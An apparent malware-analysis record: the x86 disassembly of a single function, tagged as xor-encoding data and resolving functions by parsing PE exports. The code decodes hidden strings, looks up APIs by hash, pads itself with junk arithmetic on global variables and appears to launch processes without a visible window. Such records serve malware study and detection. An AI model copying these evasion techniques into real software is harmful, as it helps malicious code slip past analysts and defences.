Function at 0x41b51a
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1d4
push ebx
push ebp
push esi
push edi
mov word [esp + 0x14], 0xdcc2
xor ecx, ecx
mov byte [esp + 0x16], 0xc8
mov al, byte [esp + ecx + 0x14]
xor al, 0xaf
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 3
jl 0x41b532
mov byte [esp + 0x8b], 0
xor ecx, ecx
mov dword [esp + 0x18], 0xd6d3e1de
mov word [esp + 0x1c], 0xe4d7
mov al, byte [esp + ecx + 0x18]
sub al, 0x72
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, 6
jl 0x41b55e
movzx eax, byte [0x42bad4]
lea edx, [esp + 0x98]
imul eax, eax, 0xfb
lea ecx, [esp + 0x88]
mov byte [esp + 0x9e], 0
mov byte [0x42bace], al
mov eax, 0xe05
add ax, word [0x42baa8]
mov word [0x42baa0], ax
call fcn.0041d87d
movzx edx, byte [0x42baa2]
mov ecx, 0xf835
mov bl, byte [0x42baac]
mov ebp, eax
movzx eax, word [0x42baa8]
add bl, 0x67
imul edx, ecx
sub eax, 0x241349e1
mov byte [0x42bace], bl
mov dword [0x42bab0], eax
mov word [0x42baa0], dx
test ebp, ebp
je 0x41bf50
imul eax, dword [0x42baac], 0xcc37
mov ecx, 0x667d
or dl, 0x15
push 0x1000
mov byte [0x42baa2], dl
mov word [0x42baa8], ax
movzx eax, bl
add ax, cx
mov word [0x42bad4], ax
call fcn.0040570b
movzx esi, word [0x42bab0]
mov edi, eax
pop ecx
mov eax, 0x6b13
xor word [0x42baa8], ax
lea ecx, [esi - 0x74f2]
movzx edx, cx
mov word [0x42baa0], cx
mov cl, byte [0x42bad4]
add cl, 0x43
mov byte [0x42baa2], cl
test edi, edi
je 0x41bf42
mov al, byte [0x42baac]
mov cl, 0xbe
xor al, 0xa5
and dword [esp + 0x28], 0
movzx eax, al
and edx, 0x35fc
imul eax, eax, 0x7b
mov word [esp + 0x10], 0x7c
mov word [0x42baa0], dx
sub cl, al
mov byte [0x42baa2], cl
sub cl, 0x28
movzx eax, cl
and eax, 0x10eea7dc
mov byte [0x42bace], cl
mov dword [0x42baac], eax
lea eax, [esi + 0x6b3e]
mov word [0x42bad4], ax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x14]
push eax
push ebp
call fcn.00405d9c
mov bx, word [0x42baa8]
mov esi, eax
mov dl, bl
mov cl, bl
or dl, 0x45
or cl, 0x10
add esp, 0xc
mov byte [0x42bace], dl
mov byte [0x42baa2], cl
test esi, esi
je 0x41bf2e
mov dword [esp + 0x18], 0xff
and dword [esp + 0x2c], 0
mov eax, 0x7936
add bx, ax
mov word [esp + 0x14], 0x20
mov eax, dword [0x42bab0]
and eax, 0xa863
mov word [0x42bad4], bx
mov word [0x42baa8], ax
xor bl, 0x72
movzx eax, word [0x42baa0]
or eax, 0xd0e9a4a7
mov byte [0x42bace], bl
mov dword [0x42baac], eax
add eax, 0xffffbbf7
mov word [0x42baa0], ax
lea eax, [esp + 0x14]
push eax
push esi
call fcn.00405c00
pop ecx
pop ecx
test eax, eax
je 0x41b791
movzx eax, byte [0x42bace]
mov ecx, 0xfd2c
add eax, 0x9c33b441
mov dword [0x42baac], eax
and eax, 0x7c7
mov word [0x42baa0], ax
mov ax, word [0x42baa8]
and ax, cx
mov ecx, esi
mov word [0x42bad4], ax
call fcn.00422cc1
mov ebx, eax
jmp 0x41b795
mov ebx, dword [esp + 0x2c]
mov cl, byte [0x42bad4]
or cl, 0xeb
movzx ecx, cl
imul edx, ecx, 0x8f
movzx ecx, dl
imul eax, ecx, 0x7b1531a
mov byte [0x42baa2], dl
mov dword [0x42bab0], eax
movzx eax, dl
imul eax, eax, 0x2f
mov byte [0x42bace], al
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x14]
push eax
push 0
call fcn.00405d9c
movzx ecx, byte [0x42baa2]
add esp, 0xc
sub ecx, 0x7b35195d
mov dword [0x42bab0], ecx
cmp byte [eax], 0x31
jne 0x41b822
movzx eax, word [0x42baa0]
mov cl, byte [0x42bad4]
and eax, 0x5a04df0a
mov dword [0x42bab0], eax
add cl, 0x25
movzx eax, al
imul eax, eax, 0xd5
mov byte [0x42bace], cl
mov byte [0x42baa2], al
jmp 0x41b828
mov cl, byte [0x42bace]
movzx eax, cl
mov ecx, 0x23d4
add ax, cx
mov word [0x42baa0], ax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x14]
push eax
push 0
call fcn.00405d9c
movzx ecx, byte [0x42bace]
mov esi, eax
xor dword [0x42bab0], 0x8341920
mov eax, 0x3409
add cx, ax
add esp, 0xc
mov word [0x42baa0], cx
lea eax, [esp + 0x94]
movzx ecx, byte [0x42baa2]
imul ecx, ecx, 0xbc
push eax
push esi
mov byte [0x42baa2], cl
mov cl, byte [0x42baa8]
sub cl, 0x53
mov byte [0x42bace], cl
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
mov si, word [0x42bad4]
pop ecx
mov cx, word [0x42baa8]
mov dl, cl
mov dword [esp + 0x90], 0x5675
and si, word [esp + 0x90]
or dl, 0x15
mov dword [esp + 0x2c], eax
mov word [0x42baa0], si
test eax, eax
je 0x41bed0
push 0x25
pop eax
mov byte [esp + 0x20], 0x34
xor ecx, ecx
mov byte [esp + 0x21], al
mov word [esp + 0x22], 0x302d
mov al, byte [esp + ecx + 0x20]
xor al, 0x40
movzx eax, al
mov word [esp + ecx*2 + 0xa0], ax
inc ecx
cmp ecx, 4
jl 0x41b8f8
xor eax, eax
xor ecx, ecx
mov word [esp + 0xa8], ax
inc ecx
mov al, byte [0x42bab0]
sub al, 0x80
mov byte [0x42baa2], al
movzx eax, si
and eax, 0xca7bb887
mov dword [0x42baac], eax
movzx eax, dl
add dl, 0xdf
or eax, 0xe3c2e232
mov byte [0x42bace], dl
push 0x800
mov dword [0x42bab0], eax
mov edx, 0x1a52823b
lea eax, [esp + 0xa4]
push edi
push eax
call fcn.0041568d
call eax
test eax, eax
je 0x41be9e
push 0x5c
pop eax
mov word [esp + 0x8c], ax
mov edx, 0xff
xor eax, eax
mov dword [esp + 0x24], 0x40534009
push 0x25
mov word [esp + 0x92], ax
xor ecx, ecx
pop esi
movzx eax, byte [esp + ecx + 0x24]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0xac], ax
inc ecx
cmp ecx, 4
jl 0x41b994
movzx ecx, word [0x42baa0]
xor eax, eax
movzx edx, word [0x42baa8]
mov word [esp + 0xb4], ax
sub dl, 6
mov eax, 0xbba0
or dl, 0xc6
imul ecx, eax
mov eax, dword [0x42baac]
xor eax, 0x5905cbce
mov byte [0x42bace], dl
imul eax, eax, 0x9883dd04
push 0xf
mov word [0x42baa8], cx
and ecx, 0x1c00
mov word [0x42baa0], cx
lea ecx, [esp + 0x124]
pop edx
mov dword [0x42bab0], eax
movzx eax, byte [0x42baa2]
xor eax, 0x9d915fed
mov dword [0x42baac], eax
call fcn.00422997
movzx ecx, word [0x42bab0]
lea eax, [ecx + 0x2a7f]
xor ecx, 0xc581
mov word [0x42bad4], ax
movzx eax, word [0x42baa8]
imul eax, eax, 0x6767c8c9
mov word [0x42baa0], cx
mov dword [0x42baac], eax
lea eax, [esp + 0x8c]
push eax
push edi
call fcn.00405bcb
movzx eax, word [0x42baa0]
mov ecx, 0x2649
sub eax, 0x7d794369
mov dword [0x42baac], eax
movzx eax, byte [0x42baa2]
and ax, cx
mov word [0x42bad4], ax
lea eax, [esp + 0x128]
push eax
push edi
call fcn.00405bcb
movzx eax, byte [0x42bace]
mov ecx, 0x781e
and ax, cx
mov word [0x42bad4], ax
lea eax, [esp + 0xbc]
push eax
push edi
call fcn.00405bcb
movzx eax, byte [0x42baa2]
mov ecx, edi
push dword [esp + 0xac]
mov edx, dword [esp + 0x48]
xor eax, 0x910c3e7d
or byte [0x42bace], 0xdb
mov dword [0x42baac], eax
call fcn.00422b4f
add esp, 0x1c
test al, al
je 0x41be92
mov si, word [0x42baa8]
mov eax, 0x92b4
movzx ecx, si
imul ecx, eax
mov eax, 0x2b1e
push 0x40
push 0
mov dword [esp + 0xe0], 0x44
or cx, ax
lea eax, [esp + 0xe4]
push eax
mov word [0x42baa0], cx
call fcn.00403960
add esp, 0xc
mov eax, 0x2c5f
and si, ax
mov edx, 0x322e7433
xor eax, eax
movzx ecx, si
mov word [esp + 0x108], ax
add ecx, 0x57d02baf
mov eax, dword [0x42bab0]
or eax, 0xbd7f
mov dword [0x42baac], ecx
mov word [0x42baa8], ax
xor cl, 0xda
lea eax, [esp + 0xc8]
mov byte [0x42bace], cl
push eax
lea eax, [esp + 0xdc]
mov word [0x42bad4], si
push eax
xor eax, eax
xor ecx, ecx
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push ebx
push edi
inc ecx
call fcn.0041568d
call eax
test eax, eax
je 0x41be6f
mov dword [esp + 0x38], 0xfeabeeba
mov edx, 0xff
mov dword [esp + 0x3c], 0xecfff3ee
xor ecx, ecx
mov dword [esp + 0x40], 0xabfef6fe
mov dword [esp + 0x44], 0xf0fdeeba
mov dword [esp + 0x48], 0xabf0ffec
mov dword [esp + 0x4c], 0xbaabd1ba
mov dword [esp + 0x50], 0xf8abeefe
mov dword [esp + 0x54], 0xff00f9f4
mov dword [esp + 0x58], 0xf8baabf0
mov dword [esp + 0x5c], 0xc0bcabfa
mov dword [esp + 0x60], 0xfdffbaab
mov dword [esp + 0x64], 0xf7b0adab
mov dword [esp + 0x68], 0xbaabadfe
mov dword [esp + 0x6c], 0xadabf9ff
mov dword [esp + 0x70], 0xf9f4e2e7
mov dword [esp + 0x74], 0xfe02faef
mov dword [esp + 0x78], 0xdbfbfbcc
mov dword [esp + 0x7c], 0xe7f7fafa
mov dword [esp + 0x80], 0xadfef7b0
movzx eax, byte [esp + ecx + 0x38]
add ax, 0x75
and ax, dx
mov word [esp + ecx*2 + 0x140], ax
inc ecx
cmp ecx, 0x4c
jl 0x41bc46
movzx ecx, byte [0x42bace]
xor eax, eax
mov word [esp + 0x1d8], ax
mov eax, 0xbb0a
imul ecx, eax
movzx eax, cx
imul eax, eax, 0x5b512b84
mov word [0x42bad4], cx
mov ecx, 0xea06
add word [0x42baa0], cx
mov dword [0x42bab0], eax
imul eax, eax, 0xf177
mov word [0x42baa8], ax
lea eax, [esp + 0x120]
push eax
lea eax, [esp + 0x144]
push edi
push eax
call fcn.0042318b
movzx ecx, byte [0x42bace]
mov esi, eax
add byte [0x42bace], 0xf4
add esp, 0xc
imul edx, ecx, 0x1d556c38
mov dword [0x42baac], edx
test esi, esi
je 0x41be9e
push 0x25
pop eax
mov dword [esp + 0x30], 0x82224f8
xor ecx, ecx
mov byte [esp + 0x34], al
mov word [esp + 0x35], 0x181a
movzx eax, byte [esp + ecx + 0x30]
add ax, 0x4b
and ax, word [esp + 0x18]
mov word [esp + ecx*2 + 0xb8], ax
inc ecx
cmp ecx, 7
jl 0x41bcfb
xor eax, eax
and edx, 0x2089
mov word [esp + 0xc6], ax
movzx eax, byte [0x42bace]
imul ecx, eax, 0x7106b595
mov al, byte [0x42bad4]
xor al, 0x97
mov word [0x42baa8], dx
push 0x800
mov byte [0x42baa2], al
mov edx, 0x1a52823b
mov dword [0x42bab0], ecx
lea eax, [esp + 0xbc]
xor ecx, 0xba7a
mov word [0x42baa0], cx
xor ecx, ecx
push edi
push eax
inc ecx
call fcn.0041568d
call eax
test eax, eax
je 0x41be54
movzx eax, word [0x42baa8]
mov ecx, 0xdc19
add eax, 0xd2bfa4dc
mov dword [0x42baac], eax
add eax, 0xffffbb50
mov word [0x42baa0], ax
movzx eax, byte [0x42bace]
xor ax, cx
push 0x44
mov word [0x42bad4], ax
lea eax, [esp + 0xdc]
push 0
push eax
call fcn.00403960
movzx eax, byte [0x42bace]
add esp, 0xc
movzx ecx, word [0x42bad4]
add eax, 0x4b477719
mov dword [0x42bab0], eax
xor ecx, 0x3242c51e
xor eax, eax
mov dword [0x42baac], ecx
mov word [esp + 0x108], ax
xor cl, 0xd0
mov al, byte [0x42baa0]
mov edx, 0x322e7433
or al, 0xb4
mov byte [0x42bace], cl
mov byte [0x42baa2], al
xor ecx, ecx
lea eax, [esp + 0xc8]
mov dword [esp + 0xd8], 0x44
push eax
lea eax, [esp + 0xdc]
inc ecx
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push edi
call fcn.0041568d
call eax
test eax, eax
jne 0x41be54
movzx eax, byte [0x42baa0]
imul eax, eax, 0x42
mov byte [0x42baa2], al
jmp 0x41be59
mov al, byte [0x42baa2]
movzx eax, al
xor eax, 0xd22da92e
push esi
mov dword [0x42baac], eax
call fcn.004056f0
pop ecx
jmp 0x41be9e
movzx eax, byte [0x42baa2]
mov ecx, 0xf44b
and ax, cx
mov word [0x42baa8], ax
mov al, byte [0x42baac]
or al, 0xe1
mov byte [0x42baa2], al
jmp 0x41be9e
mov eax, 0x7e1a
add word [0x42baa8], ax
mov eax, dword [0x42bab0]
push dword [esp + 0x2c]
add eax, 0xffff9e44
mov word [0x42baa0], ax
movzx eax, byte [0x42bace]
xor eax, 0xe9d8232d
mov dword [0x42baac], eax
call fcn.004056f0
pop ecx
mov cx, word [0x42baa8]
mov al, byte [0x42baac]
add al, 0x17
mov byte [0x42bace], al
mov eax, 0xd7ef
add cx, ax
push ebx
mov word [0x42baa8], cx
call fcn.004056f0
movzx eax, word [0x42bad4]
and eax, 0x66b5bb63
mov dword [0x42bab0], eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x18]
push eax
push 0
call fcn.00405d9c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41bf28
mov bx, word [0x42baa8]
jmp 0x41b6f5
mov dl, byte [0x42bace]
movzx eax, dl
add eax, 0x5e7210ba
push edi
mov dword [0x42bab0], eax
call fcn.004056f0
pop ecx
add byte [0x42bace], 0xef
push ebp
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1d4
ret